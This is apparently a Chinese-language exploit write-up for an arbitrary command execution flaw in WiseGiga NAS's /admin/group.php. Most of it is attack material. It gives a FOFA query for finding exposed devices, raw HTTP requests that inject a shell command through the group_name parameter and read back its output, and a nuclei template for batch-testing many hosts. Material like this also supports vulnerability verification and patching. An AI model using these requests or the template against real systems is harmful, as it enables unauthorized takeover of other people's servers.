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漏洞描述

WiseGiga NAS 系统group.php存在任意命令执行漏洞,攻击者可以通过执行任意命令,获取服务器管理权限。

fofa语句

title="WiseGiga"

漏洞复现

打开页面

1708957968451.png

构造payload

请求将命令输出到txt

1708958007481.png

GET /admin/group.php?memberid=root&cmd=add&group_name=d;id>ohkgsi.txt HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate

访问txt,命令执行成功

1708958073687.png

GET /admin/ohkgsi.txt HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate

nuclei批量验证

1708958168569.png

id: WiseGiga_rce
info:
  name: WiseGiga_rce
  author: changge
  severity: critical
  description: WiseGiga NAS 系统group.php存在任意命令执行漏洞,攻击者可以通过执行任意命令,获取服务器管理权限。
  metadata:
    max-request: 1
    fofa-query: title="WiseGiga"
    verified: true
  tags: rce
variables:
  file_name: "{{to_lower(rand_text_alpha(6))}}.txt"

requests:
  - raw:
      - |-
        GET /admin/group.php?memberid=root&cmd=add&group_name=d;id>{{file_name}} HTTP/1.1
        Host: {{Hostname}}

      - |+
        GET /admin/{{file_name}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

    req-condition: true
    matchers:
      - type: dsl
        condition: and
        dsl:
          - 'contains((body_2), "uid=") && status_code_2 == 200'

github poc总汇地址:https://github.com/AYcg/poc